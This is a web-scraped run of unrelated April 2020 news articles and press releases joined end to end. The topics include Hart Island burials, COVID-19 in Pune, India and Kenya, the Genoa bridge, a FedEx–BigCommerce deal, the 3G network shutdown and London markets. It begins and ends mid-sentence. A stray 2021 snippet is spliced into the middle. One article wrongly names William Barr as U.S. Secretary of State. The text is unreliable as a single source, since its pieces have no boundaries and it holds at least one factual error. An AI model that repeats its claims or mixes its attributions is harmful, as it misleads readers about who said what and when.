this beer should go to waste, Correia said. This article originally appeared in The New York Times. The exact number of islands in New York City varies depending on the methodology one uses. Sharon Seitz and Stuart Millers definitive tome on the subject counted 42 in total; others have arrived at slightly different figures. But almost all of the citys islands however many there are are of little consequence to most New Yorkers. Many are unpopulated, and most are shrouded in mystery, guarded furiously by officials to prevent trespassing and vandalism. They have been enigmatic for as long as there has been a New York City; back in November 1880, the New York Times quipped that New Yorkers know less, usually, about their own little islands than they know about any other inhabited part of the world. To the extent that it has been the subject of a certain morbid curiosity among some New Yorkers, Hart Island is among the more infamous of the citys islands. From the time the citys since-dissolved Department of Charities and Correction bought it from the family of Edward Hunter in 1868, it has served as a burial ground of last resort for the citys homeless, stillborn, and other unclaimed dead. Burials have followed a set of protocols that are more or less unchanged from the end of the 19th century, designed to make it easy in theory if not in practice for claimants to disinter loved ones and rebury them elsewhere. A reporter from the Times interviewed a foreman at the island in 1878, and recorded this description of the process: We put 150 coffins in each grave, says the foreman. Each trench is 40 feet long by 14 wide and 6 feet deep. First, we put in two rows of coffins on the bottom, 25 in each row, making a layer of 50 coffins. A little earth is thrown in, just a sprinkling, and then another layer of 50 is made; a little more earth, then 50 more, and the trench is covered up. There is plenty of earth on top. Every coffin has its number burned in the lid, and a record is kept of each one. How these poor fellows are numbered to death! A thief goes through the General Sessions as case No. 285, in the Tombs he is No. 42, on Blackwells Island he is No. 1,104, in the hospital he is No. 96, and he is buried with another number burned into his coffin-lid. He has no name. Story continues There were many poor fellows then, and there are plenty more now. Amid the surge in coronavirus-related deaths, New York City mayor Bill de Blasio promised that there would be no mass burials of victims on Hart Island. Drone footage from the Hart Island Project a non-profit organization that catalogues the citys public burials seems to suggest otherwise. According to the Department of Corrections, which controls the island and uses inmate labor from Rikers Island to conduct burials on Hart Island, there has been a 96 percent increase in the number of interments there in the first three months of 2020. The citys Office of the Chief Medical Examiner told Reuters that while it hopes the situation doesnt devolve to a point where this would be necessary, it is prepared to conduct mass burials on the island if city morgues begin to overflow. The city has even hired contract laborers to perform Hart Island interments instead of the Rikers inmates for social distancing and safety reasons, according to a DOC spokesman. Such chaos reveals that while much on the island has changed, the simultaneously slapdash and calculated way in which the city buries its unclaimed dead remains more or less the same as ever. This is where the rough pine boxes go that come from Blackwells Island, the Times wrote of Hart Island in 1880. The paper called the island the Green-Wood of the Five Points, in a tongue-in-cheek reference to the comparatively upscale Brooklyn cemetery. The potters field, as it came to be known, was not alone on the 103-acre island: Hart was home to an almshouse, an asylum, and an industrial school, according to the Times. Teachers in the school allowed students a half-holiday on Saturday afternoons to go out and play among the graves, in a ritual of the morbid marriage between the living and the dead that would characterize the island until the middle of the 20th century. When the Department of Charities and Correction purchased the island in 1868, its proximate aim was to build a workhouse for the older boys at the so-called House of Refuge on Randalls Island, a juvenile reform school that won the plaudits of such varied luminaries as Alexis de Tocqueville and Charles Dickens. Two years later, a quarantine site was erected on the island to segregate patients infected by Yellow Fever. An asylum for women called The Pavilion was opened in 1885; its original stone sign remains atop the Roman arch of the crumbling Pavilion building, which would later be repurposed for Phoenix House, a drug-rehabilitation facility that, when it closed its Hart Island location in 1975, was the last vestige of life on New Yorks island of the dead. The towering brick facades that dot the island are an unintentional monument to the various institutions that once housed its temporary inhabitants. But it is Hart Islands permanent inhabitants that are the isles lasting legacy. Not long after the workhouse was built in 1868, the public burials began. In 1869, the city started ferrying inmates from the penitentiary on Blackwells Island to Hart Island alongside the unclaimed deceased from Bellevue Hospital. On April 20th of that year, 24-year-old Louisa Van Slyke, who had died at Charity Hospital on nearby Roosevelt Island, became the first person interred on Hart Island. A priest who consecrated the ground that day reportedly read the following passage aloud from St. Matthews Gospel: Then Judas, who betrayed him, seeing that he was condemned, repenting himself, brought back the thirty pieces of silver to the chief priests and ancients, Saying: I have sinned in betraying innocent blood. But they said: What is that to us? look thou to it. And casting down the pieces of silver in the temple, he departed: and went and hanged himself with an halter. But the chief priests having taken the pieces of silver, said: It is not lawful to put them into the corbona, because it is the price of blood. And after they had consulted together, they bought with them the potters field, to be a burying place for strangers. The burial ground at Hart Island was thereafter called Potters Field. A headstone, enveloped by moss and overgrown shrubbery, remains on the island. It reads: THE CITY OF NEW YORK POTTERS FIELD Blessed are the poor In spirit . . . For theirs is The Kingdom of Heaven My child, Peace I leave to you, My peace I give to you. The Almighty Has His own purposes He must have loved them He made so many of them Cry not for us For we are with the Father No longer do we cast shadows On the ground as you do We are at peace. Another monument, erected in 1948, was built by prisoners detained in New Yorks Hart Island Workhouse. The shaft of the monument rose about 30 feet vertically, and sat atop a square, seven-foot base. Peace was written in gold lettering on the north side of the shaft, and Christs words to Martha outside the tomb of Lazarus I am the Resurrection and the Life were inscribed on its southern face. A priest in attendance remarked that while it is customary to raise monuments to the famous, New York can claim the unique honor of raising a monument to the citys unknown. The shaft remains on the island to this day, and the number of those it honors grows by the hour. More from National Review PR-Inside.com: 2020-04-28 02:34:02 GetSwift Announces 14th Consecutive Quarter of Revenue Growth at $8.7m Media enquiries: James Richardson, Public Affairs Advisor james.richardson@dentons.com +1 202-408-9160 Investor enquiries: investors@getswift.co Company Secretary: julian.rockett@boardroomlimited.com.au +61 2 8016 2841 GetSwift posted its March 2020 quarterly results today, indicating a 14th consecutive quarter of revenue growth. The Company posted a 336% sequential increase in revenue and other income to the previous quarter and a 702% increase compared to the same quarter last year. The Company has been able to achieve a 24X revenue increase over the last 24 months, and a 74X since listing in December 2016. The Company expects growth to continue. GetSwift CEO Bane Hunter said, "We are pleased that our long term strategy is becoming a reality. We will continue to relentlessly pursue growth across multiple domains, as in our opinion, the Company is well-placed to provide a number of services and products to both new and existing customers. We will continue to work hard on behalf of our shareholders, clients, and partners, and we thank them for their support. As an essential service provider in the USA, we are proud to be of service in any way we can." About GetSwift Limited Technology to Optimise Global Delivery Logistics GetSwift is a worldwide leader in delivery management automation. From enterprise to hyper-local, businesses across dozens of industries around the globe depend on our SaaS platform to bring visibility, accountability, efficiency, and savings to their supply chain and last-mile operations. GetSwift is headquartered in New York City and is listed on the Australian Securities Exchange (ASX: GSW). For further background, please visit GetSwift.co. GetSwift is an emerging growth company and is subject to a variety of risks. The company is not yet profitable, and there can be no assurance that it will achieve profitability. The company's business and a variety of investment considerations are discussed in more detail in the company's filings with the Australia Securities Exchange (ASX). Investors are encouraged to review the more complete information contained in such filings. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005 Sudhir Suryawanshi By Express News Service MUMBAI: The coronavirus positive patients have been doubling within seven days in Pune against the national average of nine days. According to Maharashtras health department data, in 23 swab testing, one person is detected as coronavirus infected at the national level while in Pune, it has been one patient in nine tested. After Mumbai, Pune is the major hotpot. In Pune, a total of 969 coronavirus positive patients are detected with 74 deaths. After Mumbai, Pune is the major hotspot. The mortality rate of Covid 19 positive patients in Pune is 6.5 per cent while Maharashtras average is 4.4 per cent and 3.2 per cent in India. Pune is getting the majority of the patients from the age group 20 to 70 years old. According to the Pune health officer, they have visited 6.36 lakh household for health screening. This is house to house visit, the Pune Municipal Corporation (PMC) screened 21 lakh, people, where they detected 1052 suspected patients and 12 turned out corona virus-positive patients, stated in the PMCs daily report. The centre government team had visited the Pune recently and asked to implement the lockdown stringently to contain the spreading of coronavirus. Ajit Pawar, deputy chief minister also conducted the series of meeting with the PMC officials and told to expedite the screening and identifying the hotspots within the city. Pawar also deputed additional three senior IAS level officers to bring the Pune from the red zone to orange and subsequently in the green zone. HOLLAND, MI Hollands tulips will be blooming but please stay away. Thats Hollands message after the coronavirus canceled Tulip Time this year. The citys tulips will be blooming anyway. But the city does not have infrastructure to handle crowds, including restrooms, in place for the public. The city asked would-be tourists who wanted to see the tulips to visit next year, instead. Our first responsibility is to keep our residents safe and asking visitors to stay home this year is the right but very difficult thing to do, Holland Mayor Nathan Bocks said. We look forward to welcoming visitors back to Holland soon and certainly to enjoy the tulips of 2021. The 91st Tulip Time was planned for May 2-10. The festival draws 500,000 visitors and has a $48 million economic impact in West Michigan, organizers say. The festival is also important to local businesses that rely on the tourist crowd. Also in MLive: First coronavirus, then Tulip Time canceled: Hollands businesses are facing 1-2 financial punch Michigan sees smallest increase in new coronavirus cases in 5 weeks Kalamazoo woman killed in hit-and-run crash - After President Uhuru Kenyatta ordered a dusk-to-dawn curfew in Kenya, the government ordered arrest and forced quarantine of any individual violating the curfew - So many people have since been arrested and held at quarantine facilities across the country at their own cost - However, Kenyans have been using dubious means to escape from the facilities in bid to avoid paying the money with others complaining of poor services and hygiene - In Kenyatta University, a group of young men threatened to take their lives over high costs - They took to the hospital building balcony and threatened to jump to their death as others watched in panic There were chaos and panic at the Kenyatta University Teaching, Referral and Research Hospital when those who were put in mandatory quarantine at the facility threatened to take their own lives over high costs. The quarantined Kenyans had reportedly tested negative for COVID-19 but were required to pay for their accommodation and other expenses at the facility. READ ALSO: CS Kagwe confirms 8 new COVID-19 cases, number of recovered patients hits 114 The people who threatened to jump to their death were quarantined in one of the buildings at KU hospital. Photo: Nairobi News Source: UGC READ ALSO: Majamaa 2 wasafiri kutoka Nairobi hadi Kisii wakitumia pikipiki licha ya kuwepo kwa marufuku ya kusafiri In a undated viral video circulating on social media, a group of about five men is seen standing at the third-floor balcony and threatening to jump. Another group of people standing on the courtyard is heard pleading with them to stop jumping and not to pay any coin "Msiruke, tafadhali msiruke na mslilipe kitu, (Don't jump, please don't jump and do not pay any coin)" one of them is heard saying. In the courtyard are people wearing protective gears and who can be seen walking around next to the ground pleading with colleagues upstairs not to jump. READ ALSO: Coronavirus: Kenyans stranded in UK to pay Kenya Airways KSh 96k for evacuation Kenyans on social media called on government to take action to stop such incidences in other facilities. "Dear CS Mutahi Kagwe, please use part of the KSh 6 billion World Bank money, the KSh 4.5 billion in the supplementary budget and the KSh 1 billion from the private sector to pay the bills for the recovered Covid-19 patients who are held incommunicado at Kenyatta University referral hospital for unpaid bills," said Gatundu South MP Moses Kuria. Notably, the facility was one of the government quarantine centres and many who were at such facilities across the country had raised complaints over high costs with terrible services being offered. The number of people in quarantine centers increased dramatically after government ordered all those arrested outside during curfew to be forcefully quarantined for 14 days. READ ALSO: Uhuru drives his multi-million Mercedes G-Wagon around Nairobi to inspect enforcement of travel restrictions Recently, another group of people who were quarantined at Nairobi's Kenya Medical Training College (KMTC) managed to escape from the facility by jumping over the perimeter wall. They were traced and some of them taken back to the facility. Others were arrested in different parts of the country where they were quarantined. Another man caused a stir at a quarantine facility after he showed up dressed in sacks protesting the arrested and forced quarantine of his wife who he claimed had younger children to look after. Joseph Mathenge blamed his wife's arrest on business rivalry and "jealous cartels" at the market as he had been warned she would be arrested and quarantined if she came back. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. Source: TUKO.co.ke Metro Manila (CNN Philippines, April 28) Malacanang will not decide on the fate of government official Mocha Uson, who violated quarantine rules against attending mass gatherings. Presidential spokesperson Harry Roque on Tuesday said the concern will be forwarded to the Overseas Workers Welfare Administration, where Uson serves as a deputy administrator. "Ifo-forward ang impormasyon na ito sa OWWA Administrator, siya ang magdedesisyon," he said in a media briefing. Uson on Sunday shared on her social media pages that she attended a gathering of 322 overseas Filipino workers quarantined in Lian, Batangas, saying she went there to ask how they were doing. In the photos she shared, they were standing up and wearing face masks in a covered tent. The assembly happened during the Luzon-wide enhanced community quarantine, which strictly prohibits mass gathering to prevent the further spread of COVID-19. A version of this article first appeared in the "Reliable Sources" newsletter. You can sign up for free right here. Many of the most revealing exchanges at recent W.H. briefings have been prompted by a new generation of correspondents. They're not taking President Trump's not-my-fault routine for an answer. They're pressing, following up and fact-checking in real time. By now you probably recognize their names: Weijia Jiang and Paula Reid of CBS. Kaitlan Collins and Jeremy Diamond of CNN. Yamiche Alcindor of PBS. Kristin Fisher of Fox News. Francesca Chambers of McClatchy. They're showing that youth can be an asset -- along with persistence. Plus: With social distancing guidelines in effect, a pared-down seating chart means that fewer reporters are physically in the briefing room each day -- which raises the stakes for the reporters who are present. Correcting Trump On Sunday both Jiang and Diamond corrected the president when he pushed faulty info from the podium. Jiang asked Trump "why did you wait so long" to warn the public about the virus, and he defaulted to his travel ban talking point, saying "look at what I did in terms of cutting off of banning China for coming in--" "Chinese nationals," Jiang said, "but by the way, not Americans who were also coming from China." Trump snapped: "Nice and easy. Nice and easy. Just relax. We cut it off." As she followed up, Trump asked her to "keep your voice down" and said she should be thanking him for "closing up the entire country," which he didn't do. After the briefing, CNN's Dana Bash commented that "the way he treats the female reporters is different..." More than 41,000 deaths When Trump said at the briefing that "almost 40,000" Americans have died from the virus, Diamond correctly interjected, "more than." "Oh, more than, okay, good, correct me." "We're at 41,000," Diamond said. "I am really glad you corrected me, CNN," Trump sneered. He also attacked Diamond and CNN later on, saying "your ratings are so bad because you are pathetic." The factual part of that statement is provably false. Cable news ratings are at historic highs due to this crisis. Want to know what's really, truly "so bad?" The death toll. Trump seems more emotional about CNN than about the body count... Bottom line The briefings continue to be founts of nonsensical claims, full of media bashing and blame-shifting, in between legitimately important and newsworthy bits of info. For example, POTUS said "our testing is expanding very rapidly by millions and millions of people." Maeve Reston wrote, "it was unclear why the president cited that number since the US is only testing about 150,000 people daily." CNN's fact-checking squad has a full review of Trump's false claims here. One of the most egregious lies was about the local protests against stay-at-home orders. "I watched the protest, and they were all six-feet apart," he said, lying about something we could all see with our own eyes. On "CNN Tonight," Don Lemon showed protesters grouped very closely together in Wisconsin, Texas, California, and Maryland. "Does this look six feet apart to you? It's not." For the record -- On Sunday's "Reliable Sources" Juliette Kayyem said the protesters who are defying public health experts by gathering in groups are "dangerous" and "self-centered" by providing fuel for the virus. -- Fox News talk show hosts continued to promote the protests over the weekend. "Fox News has set the stage for where we are today," Philip Bump said. -- Isaac Stanley-Becker and Tony Romm on the front page of Monday's WaPo: "A trio of far-right, pro-gun provocateurs is behind some of the largest Facebook groups calling for anti-quarantine protests around the country, offering the latest illustration that some seemingly organic demonstrations are being engineered by a network of conservative activists." -- "They are protesting, in many cases the president's own policies, the White House's own guidelines," Jeff Zeleny said on CNN Sunday night... -- My take: When we're covering protests against the stay-at-home orders, we should show them in proportion -- noting that the views of the protesters are a distinct minority... Image Surrogates for the public Two of the aforementioned White House reporters, Francesca Chambers and Kaitlan Collins, joined me on Sunday's "Reliable Sources." Chambers said her job "is to be able to get information and answers on behalf of people who can't be in the room." Exactly! And Collins pointed out that people are watching the briefings "not because they want to see the president's feuds with reporters," but because "they want to get information about the outbreak..." Bottom-up coverage The more I watch the WH briefings, the more I think: Instead of focusing on what politicians are saying, let's center our news coverage on the people who elected them. What are the needs of voters, workers, employers, job-seekers, nurses, doctors? What do they want to know? And what do they expect from elected officials? Let's amplify their voices... Advertisement A final section of the new Genoa bridge was slotted into place on Tuesday, two years after 43 people were killed when a colossal stretch of the highway collapsed. Italy's Prime Minister Giuseppe Conte stood beneath the gleaming structure and took solace in its completion amid the coronavirus pandemic which has wiped out nearly 27,000 of his people. 'This cannot be a day of celebration. But today a new light shines on Italy,' Conte said as flags fluttered around him. The new bridge 'symbolises the whole of Italy. An Italy that can rise up again, that will roll up its sleeves, that will not allow itself to be beaten,' he added. A siren sounded as the last vast section of deck was put in place and one side of Liguria's Polcevera valley was finally reconnected with the other, and ships in Genoa's port sounded their horns in reply. A final section of a new bridge in Genoa, built after a deadly 2018 motorway collapse, was slotted into place Tuesday, providing a much-needed symbol of renewal for coronavirus-hit Italy (pictured: the bridge is lit up in the colours of the Italian flag) Slide me Genoa's Morandi highway collapsed during heavy rain on August 14, 2018, hurling dozens of cars and several trucks onto railway tracks below. A person takes a photo while watching the reconstruction of Morandi Bridge on Tuesday as the final section was slotted into place Cranes surround the mid-section of the colossal bridge across Liguria's Polcevera valley on Tuesday as the Prime Minister arrived to watch the ceremony The maritime city's Morandi highway collapsed during heavy rain on August 14, 2018, hurling dozens of cars and several trucks onto railway tracks below. The bridge had been riddled with structural problems for decades, leading to expensive maintenance, and its collapse threw the spotlight on Italy's creaking infrastructure. Italian architect Renzo Piano designed the replacement, giving it a curved, gleaming underbelly evoking the hull of a ship in tribute to Genoa's maritime history. The high-tech structure will have maintenance robots running along its length to spot weathering or erosion, as well as a special dehumidification system to limit corrosion. 'In building the bridge we've been up against time, against the elements, against bad weather, against all the difficulties we've faced,' Pietro Salini, CEO of Italy's biggest builder Salini Impregilo, told journalists last week. The new bridge of Genova light up with the Italian flag colours on April 28, 2020 in Genoa, Italy. The new bridge substitutes the Morandi bridge which fell on August 14, 2018 killing 43 people The maritime city's Morandi highway collapsed during heavy rain on August 14, 2018, hurling dozens of cars and several trucks onto railway tracks below. The final section of Genoa's new bridge is installed into place, completing the rebuilding of the structure almost two years after the Morandi bridge collapsed killing 43 people in Genoa, Italy, April 28, 2020 Italian Prime Minister Giuseppe Conte greets Liguria Region President Giovanni Toti wearing a protective face mask as he arrives for the inauguration ceremony of the last part of the deck of the new Genoa motorway bridge Autostrade, which runs almost half of Italy's motorway network, has been accused of failing to maintain the bridge amid allegations of falsified safety reports and in-house pressure to slash maintenance costs 'While the rest of the country was wondering how to shut down (as Italy went into lockdown in early March), here the question was how to go on,' said Salini, whose company is rebuilding the bridge with shipbuilder Fincantieri. Completion work for the new structure measuring about a kilometre (half a mile) will include tarmacking and the installation of transparent wind barriers and solar panels. Stringent road tests will follow. 'We hope to have the first traffic cross the bridge by the end of July,' Salini said. Architect Piano, a Genoa native whose building designs include the Centre Georges Pompidou in Paris and The Shard in London, said the celebrations would be muted out of respect for the victims and their families. Completion work for the new structure measuring about a kilometre (half a mile) will include tarmacking and the installation of transparent wind barriers and solar panels. Stringent road tests will follow Architect Piano, a Genoa native whose building designs include the Centre Georges Pompidou in Paris and The Shard in London, said the celebrations would be muted out of respect for the victims and their families Italian Prime Minister Giuseppe Conte and Transportation and Infrastructure Minister Paola De Micheli wearing a protective face mask arrive for the inauguration ceremony of the last part of the deck of the new Genoa motorway bridge in Genoa Autostrade, which runs almost half of Italy's motorway network, has been accused of failing to maintain the bridge amid allegations of falsified safety reports and in-house pressure to slash maintenance costs. Atlantia, the parent group of Autostrade, is controlled by the powerful Benetton family. Autostrade is under judicial investigation, along with several transport ministry officials, for culpable homicide. A total of 74 people are accused in the legal case, which has seen investigators use a super computer to trawl through thousands of documents and files seized from Autostrade offices and the transport ministry. Italian Prime Minister Giuseppe Conte wearing a protective face mask attends the inauguration ceremony Workers adjust a Genoese flag as the final section of Genoa's new bridge is installed into place, completing the rebuilding of the structure almost two years after the Morandi bridge collapsed killing 43 people A Central Reserve Police Force (CRPF) jawan, who had tested coronavirus COVID-19 positive, died on Tuesday in a Delhi hospital after being treated for a week. This is the first COVID-19 death reported in paramilitary forces. The 55-year-old personnel died in Delhi's Safdarjung Hospital. He was a Sub-Inspector (GD) from the 31 battalions and a resident of Assam's Barpeta. Union Home Minister Amit Shah expressed his grief and condolences, adding that the CRPF's contribution to the service and internal security of the country 'inspires all of us'. Taking to the micro-blogging site, Twitter, he added that he spoke to the family of the sub-inspector on the phone a few days ago and got to know his skills. Calling it an irreparable loss for the country he said that the Centre is standing strong with the family. "I am deeply saddened to learn of the death..., the brave sub-inspector of who is fighting the coronavirus infection. He fought heroically with the pandemic until the end. His contribution to the service and internal security of the country inspires all of us," he tweeted. "I had spoken to the family of Sub-Inspector Ikram Hussain on the phone the day before yesterday and got to know his skills. Losing a brave soldier in the country is an irreparable loss for all of us. I express my condolences to his family. The entire country and central government are standing with their families in this hour of grief," he also tweeted. Assam Chief Minister Sarbananda Sonowal tweeted, "Deeply saddened to learn of the demise of CRPF SI who belonged to Barpeta, Assam. Till his last breath, this brave son of Maa Bharti kept fighting against COVID-19. His undying spirit inspires us to sacrifice everything for the nation. My condolences." So far, a total of 46 CRPF jawans have been found positive. [April 28, 2020] FedEx and BigCommerce Team Up to Bring New Ecommerce Offering to Small and Medium Businesses BigCommerce, a leading open SaaS (News - Alert) ecommerce platform for fast-growing and established brands, is collaborating with FedEx Corp. (NYSE: FDX) to give small and medium businesses on BigCommerce access to the robust FedEx portfolio of ecommerce solutions and competitive rates. A 2019 BigCommerce survey found that 77 percent of global consumer respondents have abandoned an ecommerce purchase due to unsatisfactory shipping options1. With this enhanced feature set, growing merchants on BigCommerce receive enterprise-like shipping capabilities, ultimately giving them the opportunity to provide their customers with a more premium delivery experience. Through this alliance with FedEx, BigCommerce merchants that sign up will receive a number of business advantages, including: Competitive rates. BigCommerce merchants that leverage this partnership will receive discounts up to 40% on FedEx Ground ? and 50% on FedEx Express ? services. BigCommerce merchants that leverage this partnership will receive discounts up to 40% on FedEx Ground and 50% on FedEx Express services. Enhanced shipping capabilities. FedEx offers merchants a number of services critical to a competitive ecommerce business, including FedEx Home Delivery, which now delivers seven days a week 2 ; a portfolio of flexible, simple return solutions; and the FedEx retail convenience network to give consumers the choice to have their packages delivered conveniently and safely to various grocery stores, pharmacies and FedEx Office locations. FedEx offers merchants a number of services critical to a competitive ecommerce business, including FedEx Home Delivery, which now delivers seven days a week ; a portfolio of flexible, simple return solutions; and the FedEx retail convenience network to give consumers the choice to have their packages delivered conveniently and safely to various grocery stores, pharmacies and FedEx Office locations. Keep your own FedEx Account. Merchants will receive their own FedEx account number for use with any shipping solution or have the ability to keep an existing account number. Through this, merchants will be able to leverage the vast portfolio of solutions that FedEx provides. Additionally, merchants can contact FedEx directly for pickups and billing questions, as well as to order supplies, reroute packages and manage their My FedEx Rewards account. "Great ecommerce experiences need to be paired with great shipping options, but it can be difficult for growing merchants to provide affordable shipping at price points that align with today's customer expectations," said Russell Klein, chief commercial officer at BigCommerce. "Teaming up with FedEx, one of the world's most well-rspected ecommerce transportation and logistics carriers, gives all our merchants access to a unique set of capabilities and rates, which ultimately enables them to compete more equally on a global scale." "Timing of this alliance and offer couldn't be better for growing businesses looking to build their brand through their own web store that has integrated, competitive shipping options with a range of services to deliver the intended consumer experience," said Ryan Kelly, vice president of global ecommerce marketing at FedEx Corp. "This pandemic has made it absolutely clear that businesses need options and partners they can trust. For businesses that are only using a marketplace or only have a physical presence, now is the time to own your future." Additionally, BigCommerce is also offering new merchants their first four months free on BigCommerce3. Merchants interested in signing up with BigCommerce or learning more about how to take advantage of FedEx's portfolio of ecommerce solutions can visit www.bigcommerce.com/FedEx. 1 "Shipping, Delivered: Best Practices & Expectations for 2019." BigCommerce. July 2019. 2 Deliver to most residential customers on Saturday and many on Sunday at no additional cost. 3 Offer only available to merchants that sign up for BigCommerce through the designated landing page, https://www.bigcommerce.com/dm/fedex/. About BigCommerce BigCommerce is leading the new era of ecommerce. Through our software-as-a-service platform that simplifies the creation of beautiful and engaging online stores by delivering a unique combination of ease of use, enterprise functionality and flexibility, BigCommerce empowers businesses to turn digital transformation into a competitive advantage. Our platform powers B2B, B2C and DTC ecommerce for more than 60,000 online stores across 120 countries, including Fortune 1000 companies and industry-leading brands like Avery Dennison, Bliss, Burrow, Jeni's Ice Creams, Skullcandy, Sony and Woolrich. For more information, visit www.bigcommerce.com. About FedEx FedEx Corp. (NYSE: FDX) provides customers and businesses worldwide with a broad portfolio of transportation, e-commerce and business services. With annual revenues of $70 billion, the company offers integrated business solutions through operating companies competing collectively and managed collaboratively, under the respected FedEx brand. Consistently ranked among the world's most admired and trusted employers, FedEx inspires its more than 475,000 team members to remain focused on safety, the highest ethical and professional standards and the needs of their customers and communities. To learn more about how FedEx connects people and possibilities around the world, please visit about.fedex.com. Certain statements in this press release may be considered forward-looking statements, such as statements relating to management's views with respect to future events and financial performance. Such forward-looking statements are subject to risks, uncertainties and other factors which could cause actual results to differ materially from historical experience or from future results expressed or implied by such forward-looking statements. Potential risks and uncertainties include, but are not limited to, the rate of future e-commerce growth and our ability to successfully compete in the e-commerce market, our ability to successfully implement operational changes in the expected time frame and effectively respond to changes in market dynamics and other factors which can be found in FedEx Corp.'s and its subsidiaries' press releases and FedEx Corp.'s filings with the Securities and Exchange Commission. Any forward-looking statement speaks only as of the date on which it is made. We do not undertake or assume any obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005297/en/ [ Back To TMCnet.com's Homepage ] That old flip-phone that has served you well for almost a decade might be fading away soon. Americas largest phone service providers have announced plans to phase out 3G short for third generation networks within a few years. That means older phones could become obsolete in todays cellphone-driven world. AT&T, the primary service provider for Jacksonville, said it will shut down its 3G network by February 2022. The company reported last year that 11% of its customers still rely on 3G networks for connectivity. Verizon Wireless, the second-largest telecommunications company in the country after AT&T, plans to shut off its 3G network by the end of this year. The phasing out of 3G networks is occurring because of telecommunications companies and U.S. government efforts to compete with Chinas dominance of 5G telecommunication networks. U.S. Secretary of State William Barr said in February that Americas economic future could be in jeopardy if China cements its dominance over 5G networks. President Donald Trump has encouraged U.S. companies to embrace 5G or risk being left behind. For AT&T customers, the phase-out will mean talk and data services wont work on older devices that do not support at least 4G LTE and HD Voice capabilities, according to AT&T. It also means 4G devices that are not HD Voice capable no longer will be supported. Those with devices that will be affected are being urged to upgrade their phones and disconnect older devices that might still be on unused lines. AT&T spokesman Phil Hayes said data traffic on AT&Ts wireless network has grown by more than 470,000% from 2007 to 2018. The 3G technology dates to about 2001 and ushered in a new era of cellphones, allowing photos and emails and boosting speeds. By 2009, companies started introducing 4G technology and many providers plan to roll out 5G services with speeds estimated to be at least three times faster than 4G this year. Hayes said the 3G network shutdown will help AT&T better support the high data use on the network and boost capacity for next-generation technologies. Chief executive Adrian Moynihan, head of AIB in Northern Ireland, said: 'These are extraordinary times that require extraordinary measures' AIB in Northern Ireland has become the latest major lender to join the Government-backed Coronavirus Business Interruption Loan Scheme (CBILS). The lender said that in addition to joining the scheme, it had provided other support to customers including repayment holidays on loans and mortgages and additional working capital facilities. In total, it had given support to over 2,000 business, mortgage and personal customers. Chief executive Adrian Moynihan, head of AIB in Northern Ireland, said: "These are extraordinary times that require extraordinary measures." He said that much of the support sought had been for payment holidays, adding that only one in five customers had been looking for extra funding. Mr Moynihan added: "As we look forward we do expect the number of requests from customers for extra funding to increase and we are now delighted to be in a position to offer customers access to the Government-backed CBILS scheme where this is the most appropriate solution for them." AIB was approved for accreditation by the British Business Bank as a new lender for the CBILS. The bank was the last of the four major lenders in Northern Ireland - along with Ulster Bank, Bank of Ireland and Danske Bank - to join CBILS. The process is believed to have been delayed because the British Business Bank had used the Enterprise Finance Guarantee Scheme (EFGS) for enlisting banks to CBILS. However, AIB was no longer part of the EFGS. AIB said it had responded to 16,000 customer calls in the last four weeks. India's gruelling 40-day lockdown, which is scheduled to end on May 3, could be extended further, but the focus of Lockdown 3.0 would be on continuing curbs in hotspots and easing them in green zones. Four of the nine chief ministers who participated in the video conference interaction with Prime Minister Narendra Modi on Monday to discuss the exit plan spoke in favour of extending the lockdown, while at least 11 states have batted for an extension. For latest updates and live news on coronavirus, click here The Prime Minister will make a formal announcement on the decision to extend the lockdown on Saturday or Sunday. Observing that the country has seen two lockdowns till now, Modi said "we have to think of the way ahead and put the onus on the states to formulate an exit strategy. As per experts, the impact of coronavirus will remain visible in the coming months, Modi said and stressed the need for constant vigil and strict enforcement of guidelines in the hotspots. He said the efforts of the states should be directed towards converting the red zones into orange and thereafter to green, amid talk of having separate exit plans for each of the three zones. The PM also expressed happiness over the fact that nearly 300 districts had no COVID-19 cases and termed these districts sacred. Modi emphasised on the need to give importance to the economy while continuing the fight against coronavirus, saying that the country had managed to save thousands of lives due to the lockdown. The PM also assured the states about the robustness of the countrys economy and asked them not to worry about resources. States favour extension Odisha, Maharashtra, Madhya Pradesh, West Bengal, Punjab, Delhi, Telangana, Gujarat, Kerala, Meghalaya and Rajasthan want the restrictions to be extended, albeit with some more relaxations in non-hotspot areas. Many of them have sent written responses to the Centre. On Monday, during the three-hour-long interaction, Odisha Chief Minister Naveen Patnaik sought an extension for one more month. Kerala, where Idukki and Kottayam have been added as hotspot zones, wants a partial lockdown till May 15, while Mamata Banerjee-ruled West Bengal is in favour of extending the lockdown till May 21. Telangana has already extended the lockdown till May 7. Puducherry Chief Minister V Narayanasamy, the only Congress Chief Minister who spoke in the meeting, said the general mood in the meeting was that the lockdown should continue with partial relaxations. Gujarat Chief Minister Vijay Rupani also wanted the lockdown to be extended. In his opening remarks, Home Minister Amit Shah reaffirmed the need to enforce lockdown guidelines so that maximum lives are saved. Bazaar Corporate Radar | Feb 22, 2021, 12:00 AM IST Bazaar Corporate Radar Bazaar Corporate Radar is your window into the minds of top CEOs, Boardrooms, global economists, fund managers and sector analysts. If it?s making news, you?ll find it on Bazaar Corporate Radar. Share prices in London rose today to close at their highest level in seven weeks as European markets rallied on the back of measures to ease the coronavirus lockdown - but oil prices continue to fall. The FTSE 100 index of Britain's biggest firms closed up by 1.91 per cent or 112 points at 5,959 this afternoon, having opened flat before rising later in the morning. It means the index finished at its highest level since hitting 5,960 on March 10, two weeks before the UK lockdown came in. The FTSE is also now closing in on the psychologically-important 6,000 barrier, a figure which it last finished above nearly two months ago on March 6. It comes as BP said it slumped into a 3.5billion net loss in the first quarter as the pandemic crushed demand for oil. US oil prices collapsed once again today to approach $10 per barrel, but equities rebounded as nations began to ease lockdowns, with some light at the end of the tunnel after weeks of volatility. New York's West Texas Intermediate oil dropped 21 per cent to $10.07 after a major US exchange-traded fund started selling its short-term contracts of the commodity. Chris Beauchamp, an analyst at trading firm IG, said: 'Equities are rallying and oil is crashing, so it must be another normal day in this topsy-turvy market.' From Italy to New Zealand, governments announced the easing of restrictions, with Spain letting children play outside for the first time since mid-March. TODAY: The FTSE 100 index closed up by 1.91 per cent or 112 points at 5,959 this afternoon PAST FORTNIGHT: The FTSE 100 has been mostly rising over the past fortnight since April 16 2020 SO FAR: The FTSE 100 index is now closing in on the psychologically-important 6,000 barrier, a figure which it last finished above nearly two months ago on March 6 However UK Prime Minister Boris 